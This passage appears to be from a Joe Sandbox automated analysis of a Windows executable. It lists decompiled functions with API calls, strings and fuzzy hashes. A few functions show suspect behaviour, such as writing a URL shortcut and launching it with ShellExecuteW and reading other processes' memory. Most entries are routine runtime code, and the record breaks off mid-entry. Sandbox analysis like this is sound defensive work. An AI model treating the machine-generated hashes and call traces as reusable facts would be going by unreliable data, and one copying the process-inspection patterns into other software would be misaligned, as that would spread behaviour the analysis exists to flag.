Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?), ref: 00F3667E
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 00F366D7
LocalAlloc.KERNEL32(00000040,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 00F366E2
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 00F366FE
WriteFile.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,00F749E5,000000FF), ref: 00F367DB
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,00F749E5,000000FF), ref: 00F367E7
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,?,?,?,?,?,?,?,?,00F749E5), ref: 00F3682F
LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,?,?,?,00F749E5,000000FF), ref: 00F3684A
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,?,?,?,?,?,?,?,?,00F749E5), ref: 00F36867
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00F749E5,000000FF), ref: 00F36891
ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000005), ref: 00F368D8
ShellExecuteW.SHELL32(00000000,00000000,00000000,00000000,00000000,00000005), ref: 00F3692A
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,00F749E5,000000FF), ref: 00F3695C

Strings

open, xrefs: 00F368D1, 00F368F0
-_.~!*'();:@&=+$,/?#[], xrefs: 00F36757, 00F3676E
URL Shortcut content:, xrefs: 00F36875
[InternetShortcut]URL=, xrefs: 00F3670A

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: ByteCharLocalMultiWide$AllocExecuteFileFreeShell$CloseCreateHandleWrite
String ID: -_.~!*'();:@&=+$,/?#[]$URL Shortcut content:$[InternetShortcut]URL=$open
API String ID: 2199533872-3004881174
Opcode ID: 8cc433a9c9aea2c60e693013b7d88818d670c67dda4114a8b657af49fcd0a51d
Instruction ID: c9d604e0b268398b842c852dd607f156e5240a35f326310439f8eebfaeb73a52
Opcode Fuzzy Hash: 8cc433a9c9aea2c60e693013b7d88818d670c67dda4114a8b657af49fcd0a51d
Instruction Fuzzy Hash: 1BB12571D04249AFEB20DF64CC86BEFBBB5AF05720F108129E504EB2C1DB749A48D7A1

Uniqueness

Uniqueness Score: -1.00%

Function 00F52B8C Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(00F8DD3C,00000FA0,?,?,00F52B6A), ref: 00F52B98
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,00F52B6A), ref: 00F52BA3
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00F52B6A), ref: 00F52BB4
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00F52BC6
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00F52BD4
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,00F52B6A), ref: 00F52BF7
DeleteCriticalSection.KERNEL32(00F8DD3C,00000007,?,?,00F52B6A), ref: 00F52C13
CloseHandle.KERNEL32(00000000,?,?,00F52B6A), ref: 00F52C23

Strings

kernel32.dll, xrefs: 00F52BAF
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00F52B9E
SleepConditionVariableCS, xrefs: 00F52BC0
WakeAllConditionVariable, xrefs: 00F52BCC

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: 747470fac7e550bb4e4f3f8e34fbba6116a2e7581603e1e1347cb9e959ee1d51
Instruction ID: 5f3c1c3c5ad97a37938eb315523f08950e66c4572684d0d66557e95ba1cabadb
Opcode Fuzzy Hash: 747470fac7e550bb4e4f3f8e34fbba6116a2e7581603e1e1347cb9e959ee1d51
Instruction Fuzzy Hash: AB01B572A54315ABD6213F75AC0CE667B689F827627014911FE08D22E0EBB4C845FB63

Uniqueness

Uniqueness Score: -1.00%

Function 00F55CAF Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 00F55DAC
type_info::operator==.LIBVCRUNTIME ref: 00F55DCE
___TypeMatch.LIBVCRUNTIME ref: 00F55EDD
IsInExceptionSpec.LIBVCRUNTIME ref: 00F55FAF
_UnwindNestedFrames.LIBCMT ref: 00F56033
CallUnexpected.LIBVCRUNTIME ref: 00F5604E

Strings

csm, xrefs: 00F55E05
csm, xrefs: 00F55D59
csm, xrefs: 00F55CEC

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: 61be372a432dd627ba8a607e41589dab0fb3af56ef2fb2074da84d34755e732d
Instruction ID: 97e20e11d47c986da3672bf359803c85ed80c8da7a2a197d9fcc9583a45af02c
Opcode Fuzzy Hash: 61be372a432dd627ba8a607e41589dab0fb3af56ef2fb2074da84d34755e732d
Instruction Fuzzy Hash: 13B1AE32C00609EFCF18DFA4C8A19AEB7B5FF14722F144059EE15AB212D734DA59EB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F34270 Relevance: 15.1, APIs: 10, Instructions: 137timeCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000400,00000000,?,72A902E8,?,?,?), ref: 00F342D2
OpenProcess.KERNEL32(00000400,00000000,?,?,72A902E8,?,?,?), ref: 00F342F3
GetProcessTimes.KERNEL32(00000000,?,00000000,00000000,00000000,?,72A902E8,?,?,?), ref: 00F34326
GetProcessTimes.KERNEL32(00000000,?,00000000,00000000,00000000,?,72A902E8,?,?,?), ref: 00F34337
CloseHandle.KERNEL32(00000000,?,72A902E8,?,?,?), ref: 00F34355
CloseHandle.KERNEL32(00000000,?,72A902E8,?,?,?), ref: 00F34371
CloseHandle.KERNEL32(00000000,?,72A902E8,?,?,?), ref: 00F34399
CloseHandle.KERNEL32(00000000,?,72A902E8,?,?,?), ref: 00F343B5
CloseHandle.KERNEL32(00000000,?,72A902E8,?,?,?), ref: 00F343D3
CloseHandle.KERNEL32(00000000,?,72A902E8,?,?,?), ref: 00F343EF

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: CloseHandle$Process$OpenTimes
String ID:
API String ID: 1711917922-0
Opcode ID: 4486db02ea1f50f58e70fb355ea1861e0971b825910253914ed70fa3f40d4678
Instruction ID: 82ebb737f07b9d010b3bc32882871e1815436d636fe440871af8564dce385893
Opcode Fuzzy Hash: 4486db02ea1f50f58e70fb355ea1861e0971b825910253914ed70fa3f40d4678
Instruction Fuzzy Hash: BB517C70E01218EBDB10DF99D984BEEBBB8FF49724F244219E914B72C0C7746D05ABA5

Uniqueness

Uniqueness Score: -1.00%

Function 00F4BBBD Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 325COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F4BBC4

Part of subcall function 00F4254E: __EH_prolog3.LIBCMT ref: 00F42555
Part of subcall function 00F4254E: std::_Lockit::_Lockit.LIBCPMT ref: 00F4255F
Part of subcall function 00F4254E: std::_Lockit::~_Lockit.LIBCPMT ref: 00F425D0

Strings

%H : %M, xrefs: 00F4BD03
%d / %m / %y, xrefs: 00F4BEFA
%b %d %H : %M : %S %Y, xrefs: 00F4BE52
:AM:am:PM:pm, xrefs: 00F4BF2A
%m / %d / %y, xrefs: 00F4BCBB
%H : %M : %S, xrefs: 00F4BD5D
%I : %M : %S %p, xrefs: 00F4BF1F

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: H_prolog3Lockitstd::_$Lockit::_Lockit::~_
String ID: %H : %M$%H : %M : %S$%I : %M : %S %p$%b %d %H : %M : %S %Y$%d / %m / %y$%m / %d / %y$:AM:am:PM:pm
API String ID: 1538362411-2891247106
Opcode ID: e007a82690e584713a79c9eb97976cfcf44894785c86d65cb3cdfc8714a37dc4
Instruction ID: e6abb3e4fd18c136239eabd5c1276cf6818dfd4b1aecbc5c046de47add80a0fe
Opcode Fuzzy Hash: e007a82690e584713a79c9eb97976cfcf44894785c86d65cb3cdfc8714a37dc4
Instruction Fuzzy Hash: 41B1907290410AABDF19DFA8CD65EFE3FB9EB44324F044119FE0AA2252D731DA11EB51

Uniqueness

Uniqueness Score: -1.00%

Function 00F50C9D Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 325COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F50CA4

Part of subcall function 00F39270: std::_Lockit::_Lockit.LIBCPMT ref: 00F392A0
Part of subcall function 00F39270: std::_Lockit::_Lockit.LIBCPMT ref: 00F392C2
Part of subcall function 00F39270: std::_Lockit::~_Lockit.LIBCPMT ref: 00F392EA
Part of subcall function 00F39270: std::_Lockit::~_Lockit.LIBCPMT ref: 00F39422

Strings

%H : %M, xrefs: 00F50DE3
%d / %m / %y, xrefs: 00F50FDA
%b %d %H : %M : %S %Y, xrefs: 00F50F32
:AM:am:PM:pm, xrefs: 00F5100A
%m / %d / %y, xrefs: 00F50D9B
%H : %M : %S, xrefs: 00F50E3D
%I : %M : %S %p, xrefs: 00F50FFF

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3
String ID: %H : %M$%H : %M : %S$%I : %M : %S %p$%b %d %H : %M : %S %Y$%d / %m / %y$%m / %d / %y$:AM:am:PM:pm
API String ID: 1383202999-2891247106
Opcode ID: f7eb8dfdac74f1bbdbd8401c34a7eb9b6f2cbbaf7d36eabda78b676c8742087c
Instruction ID: c75f0dbfbf8fa8fddf625f13d2ad7952ef678ec7291ec286d8538cb382d56dcb
Opcode Fuzzy Hash: f7eb8dfdac74f1bbdbd8401c34a7eb9b6f2cbbaf7d36eabda78b676c8742087c
Instruction Fuzzy Hash: 51B1B17290010AABCF19DF68CD5AEFE3BB9FB04311F144519FF06A6291DA31DA18EB51

Uniqueness

Uniqueness Score: -1.00%

Function 00F4BF7E Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 325COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F4BF85

Part of subcall function 00F38610: std::_Lockit::_Lockit.LIBCPMT ref: 00F38657
Part of subcall function 00F38610: std::_Lockit::_Lockit.LIBCPMT ref: 00F38679
Part of subcall function 00F38610: std::_Lockit::~_Lockit.LIBCPMT ref: 00F386A1
Part of subcall function 00F38610: std::_Lockit::~_Lockit.LIBCPMT ref: 00F3880E

Strings

%H : %M, xrefs: 00F4C0C4
%d / %m / %y, xrefs: 00F4C2BB
%b %d %H : %M : %S %Y, xrefs: 00F4C213
:AM:am:PM:pm, xrefs: 00F4C2EB
%m / %d / %y, xrefs: 00F4C07C
%H : %M : %S, xrefs: 00F4C11E
%I : %M : %S %p, xrefs: 00F4C2E0

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3
String ID: %H : %M$%H : %M : %S$%I : %M : %S %p$%b %d %H : %M : %S %Y$%d / %m / %y$%m / %d / %y$:AM:am:PM:pm
API String ID: 1383202999-2891247106
Opcode ID: 973e2a4be1dc1fd55128d173e32eae8abaa0c2afb32045ed2bafb0b549d3f3c2
Instruction ID: 9ead19fed08a8fdb1497c524924c037bf4e41722e0c44711b4458c8305ff9d6a
Opcode Fuzzy Hash: 973e2a4be1dc1fd55128d173e32eae8abaa0c2afb32045ed2bafb0b549d3f3c2
Instruction Fuzzy Hash: BDB1BE7290110AAFCF59DFA8CD55EBE3FB9FB09750F045119FE02A2252D671CA10EBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F48555 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00F4855C
_Maklocstr.LIBCPMT ref: 00F485C5
_Maklocstr.LIBCPMT ref: 00F485D7
_Maklocchr.LIBCPMT ref: 00F485EF
_Maklocchr.LIBCPMT ref: 00F485FF
_Getvals.LIBCPMT ref: 00F48621

Part of subcall function 00F41CD4: _Maklocchr.LIBCPMT ref: 00F41D03
Part of subcall function 00F41CD4: _Maklocchr.LIBCPMT ref: 00F41D19

Strings

false, xrefs: 00F485C0
true, xrefs: 00F485D2

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: Maklocchr$Maklocstr$GetvalsH_prolog3_
String ID: false$true
API String ID: 3549167292-2658103896
Opcode ID: fa653f5d8b7eabe3e6026d909b87cb117afec056cb902b2fe81f8051948cf264
Instruction ID: 588514ab6ab5b5f141be3aefe4244f55706b0eb5a6e63e801b77c538e44ce5f3
Opcode Fuzzy Hash: fa653f5d8b7eabe3e6026d909b87cb117afec056cb902b2fe81f8051948cf264
Instruction Fuzzy Hash: 682181B2D00308ABDF14EFA4DC85ACE7FA8BF05750F048116BD149F142DA74DA44DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F39730 Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 398COMMON

Download Yara Rule

APIs

std::locale::_Init.LIBCPMT ref: 00F39763

Part of subcall function 00F40C94: __EH_prolog3.LIBCMT ref: 00F40C9B
Part of subcall function 00F40C94: std::_Lockit::_Lockit.LIBCPMT ref: 00F40CA6
Part of subcall function 00F40C94: std::locale::_Setgloballocale.LIBCPMT ref: 00F40CC1
Part of subcall function 00F40C94: std::_Lockit::~_Lockit.LIBCPMT ref: 00F40D17

std::_Lockit::_Lockit.LIBCPMT ref: 00F3978A
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00F397F0
std::locale::_Locimp::_Makeloc.LIBCPMT ref: 00F3984A

Part of subcall function 00F3F57A: __EH_prolog3.LIBCMT ref: 00F3F581
Part of subcall function 00F3F57A: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00F3F5C8
Part of subcall function 00F3F57A: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00F3F620
Part of subcall function 00F3F57A: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00F3F654
Part of subcall function 00F3F57A: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00F3F6A8

LocalFree.KERNEL32(00000000,00000000,?,00F854B1,00000000), ref: 00F399BF
__cftoe.LIBCMT ref: 00F39B0B

Strings

bad locale name, xrefs: 00F398FF

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: std::locale::_$Locimp::_$AddfacLocimp_std::_$Lockit$H_prolog3Lockit::_$FreeInitLocalLocinfo::_Locinfo_ctorLockit::~_MakelocSetgloballocale__cftoe
String ID: bad locale name
API String ID: 3103716676-1405518554
Opcode ID: f915c26907f82652f60d01fb7c80af8b6827e63a7e0530640d2a451b339a7e9d
Instruction ID: ad4d5a2b5b65444f2e27e101a847a8cee1e8e73eea8c52f9e07eacad384884e5
Opcode Fuzzy Hash: f915c26907f82652f60d01fb7c80af8b6827e63a7e0530640d2a451b339a7e9d
Instruction Fuzzy Hash: 74F1BF71D05249DFDF10CFA8C884BEEBBB1EF49324F144169E805AB381E7B59A04DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F33C20 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 225libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00F336D0: GetSystemDirectoryW.KERNEL32(?,00000105), ref: 00F33735
Part of subcall function 00F336D0: _wcschr.LIBVCRUNTIME ref: 00F337C6

GetProcAddress.KERNEL32(?,NtQueryInformationProcess), ref: 00F33CA8
ReadProcessMemory.KERNEL32(?,?,?,000001D8,00000000,00000000,00000018,00000000), ref: 00F33D01
ReadProcessMemory.KERNEL32(?,?,?,00000048,00000000,?,000001D8,00000000,00000000,00000018,00000000), ref: 00F33D7A
ReadProcessMemory.KERNEL32(?,?,00000000,?,00000000,?,?,?,00000000,?,?,?,00000048,00000000,?,000001D8), ref: 00F33EB1
GetLastError.KERNEL32 ref: 00F33F34
FreeLibrary.KERNEL32(?), ref: 00F33F7B

Strings

NtQueryInformationProcess, xrefs: 00F33CA2

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: MemoryProcessRead$AddressDirectoryErrorFreeLastLibraryProcSystem_wcschr
String ID: NtQueryInformationProcess
API String ID: 566592816-2781105232
Opcode ID: a45a5c8db43aa0ad4c712d872dc3733b451d4df25b29af47ffd3a5b33f7e9aed
Instruction ID: 5690857886921a815558a381850d5c42216fb4d397252b98f4d44c780e33e2a8
Opcode Fuzzy Hash: a45a5c8db43aa0ad4c712d872dc3733b451d4df25b29af47ffd3a5b33f7e9aed
Instruction Fuzzy Hash: 34A14B70D04749DEDB20DF64CC49BAEBBF0BF48724F204599D449A7280E7B9AA88DF51

Uniqueness

Uniqueness Score: -1.00%

Function 00F340B0 Relevance: 12.2, APIs: 8, Instructions: 233memorytimeCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,40000022,72A902E8,?,?,00000000,?,?,?,?,?,?,?,?,00000000), ref: 00F34154
LocalAlloc.KERNEL32(00000040,3FFFFFFF,72A902E8,?,?,00000000,?,?,?,?,?,?,?,?,00000000), ref: 00F34177
LocalFree.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00F34217
OpenProcess.KERNEL32(00000400,00000000,?,72A902E8,?,?,?), ref: 00F342D2
OpenProcess.KERNEL32(00000400,00000000,?,?,72A902E8,?,?,?), ref: 00F342F3
GetProcessTimes.KERNEL32(00000000,?,00000000,00000000,00000000,?,72A902E8,?,?,?), ref: 00F34326
GetProcessTimes.KERNEL32(00000000,?,00000000,00000000,00000000,?,72A902E8,?,?,?), ref: 00F34337
CloseHandle.KERNEL32(00000000,?,72A902E8,?,?,?), ref: 00F34355
CloseHandle.KERNEL32(00000000,?,72A902E8,?,?,?), ref: 00F34371

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: Process$Local$AllocCloseHandleOpenTimes$Free
String ID:
API String ID: 1424318461-0
Opcode ID: 4d50cebf28726a5f85ba3531a31a58a8268f4a41b365b0e6330d24c92f64b898
Instruction ID: 22d7f7f69cf39c90cfcec02d88a68a9c1fa73a787f58570ac840598d7a3d1efd
Opcode Fuzzy Hash: 4d50cebf28726a5f85ba3531a31a58a8268f4a41b365b0e6330d24c92f64b898
Instruction Fuzzy Hash: E9819E71E006099FDB14DFA8D985BAEBBB5FB48320F244229E925F73D0D770B9409B94

Uniqueness

Uniqueness Score: -1.00%

Function 00F5266D Relevance: 12.2, APIs: 8, Instructions: 224COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,?,?), ref: 00F526F8
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 00F52786
__alloca_probe_16.LIBCMT ref: 00F527B0
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00F527F8
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 00F52812
__alloca_probe_16.LIBCMT ref: 00F52838
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00F52875
CompareStringEx.KERNEL32(?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 00F52892

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: ByteCharMultiWide$__alloca_probe_16$CompareInfoString
String ID:
API String ID: 3603178046-0
Opcode ID: 41815f00caec4df7c0ceef6d834fa6dac2c76abdeb990b399e5b06147be6c4a2
Instruction ID: 3e72a4db479708860f5deb3043dc3c92a3b20532f8d16fca13cf0b3ea7bbddd7
Opcode Fuzzy Hash: 41815f00caec4df7c0ceef6d834fa6dac2c76abdeb990b399e5b06147be6c4a2
Instruction Fuzzy Hash: 2E71A732D002099FDF619FA4DC85AEE7BB5EF4B362F18021AEE04A7151D735C848E760

Uniqueness

Uniqueness Score: -1.00%

Function 00F5215A Relevance: 12.2, APIs: 8, Instructions: 175COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 00F521A3
__alloca_probe_16.LIBCMT ref: 00F521CF
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 00F5220E
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00F5222B
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00F5226A
__alloca_probe_16.LIBCMT ref: 00F52287
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00F522C9
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00F522EC

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 7ba7c51b99db859c3d4872e5d9ec73d2034f5f003da4509e5b5c8052c093caf0
Instruction ID: 3744f145cd87e835538b775c13bbe67b4f70199aaa94301ab7e04887710d0381
Opcode Fuzzy Hash: 7ba7c51b99db859c3d4872e5d9ec73d2034f5f003da4509e5b5c8052c093caf0
